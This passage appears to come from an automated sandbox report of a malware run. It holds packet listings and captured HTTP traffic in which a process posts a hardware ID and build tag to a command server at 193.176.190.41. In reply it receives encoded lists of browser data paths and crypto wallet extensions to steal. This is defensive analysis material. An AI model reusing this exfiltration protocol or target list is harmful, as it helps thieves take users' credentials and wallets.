Aug 30, 2024 18:13:58.278028965 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:58.595333099 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.595345020 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.595525980 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:58.640300989 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.640377998 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:58.759107113 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.759289026 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:58.915527105 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:58.915826082 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.034424067 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.034498930 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.152796030 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.152910948 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.232923985 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.233055115 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.469892025 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.469904900 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.470011950 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.587953091 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.588020086 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.825236082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.825252056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.825337887 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:13:59.943340063 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:13:59.943454981 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.180536032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.180550098 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.180649996 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.180824995 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.180903912 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.299343109 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.299446106 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.549917936 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.549930096 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.550041914 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.669671059 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.669800043 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:00.669840097 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:00.669936895 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.024375916 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.024388075 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.024498940 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.024578094 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.024672031 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.142503977 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.142654896 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.261291981 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.261399984 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.379326105 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.379477978 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.497757912 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.497898102 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.616271019 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.616424084 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:01.734911919 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:01.735045910 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.128365993 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.128379107 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.128499985 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.129414082 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.129507065 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.133783102 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.133867979 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.134005070 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.134073019 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.208626032 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.208740950 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.326911926 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.327064991 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.327198029 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.327264071 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.682945967 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.682957888 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.683029890 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.683166027 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.683259964 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.801233053 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.801482916 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.801496029 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.801582098 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:02.920300007 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:02.920551062 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.157823086 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.157835960 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.157912016 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.157953024 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.157970905 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.158000946 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.158042908 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.275779009 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.275877953 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.394598961 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.394716024 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.434483051 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.434578896 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.569711924 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.569813013 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.762073994 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.762167931 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.762254953 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.762321949 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:03.879791975 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:03.879899025 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.050219059 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.050419092 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.287170887 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.287182093 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.287286997 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.353322983 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.353507996 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.472130060 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.472249985 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.590960026 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.591042042 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.753669977 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.753758907 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:04.872504950 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:04.872684002 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:05.064594984 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.065032959 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:05.420660019 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.420670986 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.420747995 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:05.538861036 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.538964987 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:05.775207043 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.775217056 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:05.775329113 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.031660080 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.031673908 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.031766891 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.908765078 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.908777952 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.908837080 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.908858061 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.908870935 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.908893108 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.908910990 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:06.908916950 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.908965111 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.909641981 CEST	49734	443	192.168.2.4	186.64.114.115
Aug 30, 2024 18:14:06.909662008 CEST	443	49734	186.64.114.115	192.168.2.4
Aug 30, 2024 18:14:07.138699055 CEST	49733	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:14:07.139013052 CEST	49742	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:14:07.144728899 CEST	80	49733	193.176.190.41	192.168.2.4
Aug 30, 2024 18:14:07.144798994 CEST	80	49742	193.176.190.41	192.168.2.4
Aug 30, 2024 18:14:07.144876957 CEST	49742	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:14:07.145020962 CEST	49742	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:14:07.151012897 CEST	80	49742	193.176.190.41	192.168.2.4
Aug 30, 2024 18:14:07.939099073 CEST	80	49742	193.176.190.41	192.168.2.4
Aug 30, 2024 18:14:07.939197063 CEST	49742	80	192.168.2.4	193.176.190.41
Aug 30, 2024 18:14:10.379381895 CEST	49742	80	192.168.2.4	193.176.190.41

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 18:13:07.458220959 CEST	64439	53	192.168.2.4	1.1.1.1
Aug 30, 2024 18:13:07.891252995 CEST	53	64439	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 30, 2024 18:13:07.458220959 CEST	192.168.2.4	1.1.1.1	0x20d9	Standard query (0)	aldiablo.cl	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 30, 2024 18:13:07.891252995 CEST	1.1.1.1	192.168.2.4	0x20d9	No error (0)	aldiablo.cl		186.64.114.115	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

aldiablo.cl

193.176.190.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	193.176.190.41	80	7488	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 18:12:56.927988052 CEST	89	OUT	GET / HTTP/1.1 Host: 193.176.190.41 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:12:57.535857916 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:12:57.539459944 CEST	411	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKKFBAEGDHJJJJKFBKF Host: 193.176.190.41 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 36 39 38 38 34 44 43 35 34 32 33 31 38 31 37 37 30 34 35 37 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 72 79 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="hwid"769884DC54231817704571------FBKKFBAEGDHJJJJKFBKFContent-Disposition: form-data; name="build"cry------FBKKFBAEGDHJJJJKFBKF--
Aug 30, 2024 18:12:57.743290901 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 54 4d 33 5a 44 45 79 4f 54 49 32 4e 7a 41 78 5a 57 4a 6d 5a 6a 52 69 59 7a 46 6c 4f 47 55 35 4f 54 5a 6b 4e 57 45 35 4d 6a 45 33 4e 44 5a 68 4d 6a 6b 35 5a 44 6b 30 5a 54 56 6d 4d 7a 4d 35 4e 6a 4e 68 4d 6d 46 68 4e 6a 4d 35 4f 44 4e 69 4e 6d 5a 6c 5a 47 59 30 4f 54 56 6a 4f 54 4d 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 48 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MTM3ZDEyOTI2NzAxZWJmZjRiYzFlOGU5OTZkNWE5MjE3NDZhMjk5ZDk0ZTVmMzM5NjNhMmFhNjM5ODNiNmZlZGY0OTVjOTMzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MHwwfHlibmNiaHlsZXBtZXw=
Aug 30, 2024 18:12:57.745564938 CEST	469	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 193.176.190.41 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="message"browsers------DBKEHDGDGHCBGCAKFIII--
Aug 30, 2024 18:12:57.923635006 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1460 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 30, 2024 18:12:57.923851013 CEST	452	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 30, 2024 18:12:57.925095081 CEST	468	OUT	POST /2fa883eebd632382.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKECBKKECGCAAAEHJK Host: 193.176.190.41 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 33 37 64 31 32 39 32 36 37 30 31 65 62 66 66 34 62 63 31 65 38 65 39 39 36 64 35 61 39 32 31 37 34 36 61 32 39 39 64 39 34 65 35 66 33 33 39 36 33 61 32 61 61 36 33 39 38 33 62 36 66 65 64 66 34 39 35 63 39 33 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 45 43 42 4b 4b 45 43 47 43 41 41 41 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="token"137d12926701ebff4bc1e8e996d5a921746a299d94e5f33963a2aa63983b6fedf495c933------AKKKECBKKECGCAAAEHJKContent-Disposition: form-data; name="message"plugins------AKKKECBKKECGCAAAEHJK--
Aug 30, 2024 18:12:58.104834080 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:12:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2x